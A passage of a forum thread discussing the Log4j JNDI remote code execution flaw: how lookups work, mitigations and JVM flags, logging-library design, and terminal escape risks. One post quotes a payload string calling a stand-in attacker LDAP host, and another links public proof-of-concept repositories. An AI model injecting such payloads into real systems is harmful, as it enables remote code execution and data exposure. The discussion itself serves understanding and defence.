There are comments suggesting that this was reported the Apache some time ago, but a CVE wasn't assigned? Getting a CVE assigned, even with hardly any details at all ("get ready to upgrade log4j") could have really helped people here.
Log4j RCE Found
161–170 of 531 posts
Re: Log4j RCE Found
#162I try to follow a rule with libraries: if a library causes more trouble than the implementation effort it would take to recreate its functionality from scratch (or rather, the portion of its funcitonality that is used in practice), then it's time to purge that library from projects and never use it again. The part of log4j functionality that gets used in practice, most of the time, is just a wrapper around printf whi…
Same mindset here.
I've always written my own loggers, doesn't even take more than an hour in C#-land. log4net is quite a beast so I avoid it. Serilog is pretty cool though, but in most cases I just roll my own. Other than that, .net core comes with its own loggers and logging abstractions, so half the time you don't have to write your own anymore, and if you do, its super pluggable.
Re: Log4j RCE Found
#163To folks wondering what the issue is about, I'll give a short summary that I myself needed.
Typically a logging library has one job to do: swallow the string as if it's some black box and spit it elsewhere as per provided configurations. Log4j though, doesn't treat strings as black boxes. It inspects its contents and checks if it contains any "variables" that need to be resolved before spitting out.
Now there's a bunch of ways to interpolate "variables" into log content. For example something like "Logging from ${java:vm}" will print "Logging from Oracle JVM". I'm not sure but you get the idea.
One way to resolve a variable using a custom Java resolver is by looking it up through a remote class hosted in some LDAP server, say "${jndi:ldap://someremoteclass}" (I'm still not quite sure why LDAP comes into the picture). Turns out, by including "." in some part of the URL to this remote class, Log4j lets off its guard & simply looks up to that server and dynamically loads the class file.
The fix has introduced ways to configure an allowed set of hosts/protocols/etc and forces Log4j to go through this configuration such that these dynamic resolutions don't land on an random/evil server.
Re: Log4j RCE Found
#164Earlier quoted context omitted.
> just a wrapper around printf which adds a timestamp and a log-level That's a pretty naive view of what's needed in an enterprise logging solution. logging to files, separate logging, remote logging, log rotation, logging 3rd party code... Of course if you're simply sending lines to the terminal in a simple program you don't need log4j. But once you scale, you'd be spending 3 weeks implementing what you get for free…
Log4j configuration isn't free either. Ask anyone who has ever been woken up by an asinine log rotation bug. (The tailer broke, or the rotation didn't happen... again, etc) Playing application log janitor is miserable. Just ship the logs and be done with it.
I mean if you write log rotation code yourself you will still be woken up by it.
I agree that log configuration is a pain in the butt and oftentimes messy (especially when some third party lib includes a line to basically wipe your global config and everything gets wonky), but it's not like the heavy value adds are easy and bug-free to write!
Re: Log4j RCE Found
#165From a quick look at the lunasec page, it looks we can mitigate by blocking outbound LDAP traffic to unknown destinations?
If you want to go down the route, you should check if log4j allows a port to be specified in the LDAP URI. If it does, firewalling one port won't do anything.
Re: Log4j RCE Found
#166So a lot of people sound mad that the logging library is parsing the inputs, and maybe they should be, but the truly paranoid should also be aware that your terminal also parses every byte given to it (to find in-band signalling for colors, window titles, where the cursor should be, etc.). This means that if a malicious user can control log lines, they can also hide stuff if you're looking at the logs in a terminal.…
While that's an interesting vector for attack, is it realistically an issue? Terminals are run as root all the time. I would guess any mainstream ones are well reviewed to not have such exploits work. Are you aware of any actual attacks exploiting terminal parsing in the wild?
Noone should be running a terminal as root if it can be avoided. Best practise would be to run the terminal as your user and sudo individual commands as needed. Assuming the command had untrusted output (eg `sudo tail -100F `) the output would still be in your terminal. Any exploit would then need to be in "tail" (because that's the thing in this example you're running as root) or would need to be coupled with a priviledge escalation to get root.
This is the kind of vulnerability the GP was talking about here I think https://nvd.nist.gov/vuln/detail/CVE-2021-27135 and there have been a few in the history of terminals. If you've looked at the code for the historical terms (xterm, rxvt etc) it's very large and kinda gnarly. If you're security or performance-conscious there are probably better choices nowdays (eg Alacritty which I primarily use) which have a much smaller attack surface.
Re: Log4j RCE Found
#167Are there any mitigations in recent JVMs? I tried reproducing this, and got the POC to hit the LDAP server, but it wouldn't load the test payload. See also: - https://github.com/tangxiaofeng7/apache-log4j-poc - https://github.com/mbechler/marshalsec - https://github.com/veracode-research/rogue-jndi Minecraft servers were being actively exploited according to various tweets.
Yes, more specifically after Java 8u191 you need to flag the client with: -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -Dcom.sun.jndi.rmi.object.trustURLCodebase=true While RCE is not possible without these flags, you will still get pingback, in minecraft's example, allowing you to get the IP of everyone connected.
so, thats mean its impossible to get RCE without those flag?
Re: Log4j RCE Found
#168I try to follow a rule with libraries: if a library causes more trouble than the implementation effort it would take to recreate its functionality from scratch (or rather, the portion of its funcitonality that is used in practice), then it's time to purge that library from projects and never use it again. The part of log4j functionality that gets used in practice, most of the time, is just a wrapper around printf whi…
For containers that's especially true because the best practice is just to write to stdout/stderr. This sidesteps a whole host of issues related to dealing with log files.
Even when you log to just stdout/stderr there are many features and considerations that are a lot more complicated than just printf (custom format patterns with context, dynamically turning logs on/off in parts of application, performance, ...).
Re: Log4j RCE Found
#169Earlier quoted context omitted.
When log4j is handed the string "${jndi:ldap://attacker.com/a}", it attempts to load a logging config from the remote address. The attacker can test for vulnerable servers by spamming the payload everywhere, and then seeing if they get requests (DNS requests for a subdomain, probably). It's listen in the log4j docs here[0] as a feature. Funny enough, they actually call out the security mitigations they have in place…
Fundamentally this is a format string attack. You're not supposed to do "log.info(user_supplied_stuff)", you're supposed to do "log.info("User sent: %s", user_supplied_stuff)". Edit: This is wrong - the exploit works anywhere in log messages, even parameters: https://news.ycombinator.com/item?id=29506397 Seems like a late contender for dumbest/most-unnecessary RCE award in 2021. Java is uncannily good at those for a…
[deleted]
Re: Log4j RCE Found
#170Anyone know of a quick way to test this just to see if it will hit the URL without setting up any exploit server to actually send any code? I guess you'd need something that reports when the DNS name gets hit (like how a DNS leak test works) but I can't find any services to do that.
Looks like https://requestbin.net/dns is what you want, no? I set one up (free, no account) and then when I did an nslookup or curl I saw the DNS hits coming in
TIL. this looks useful for various use.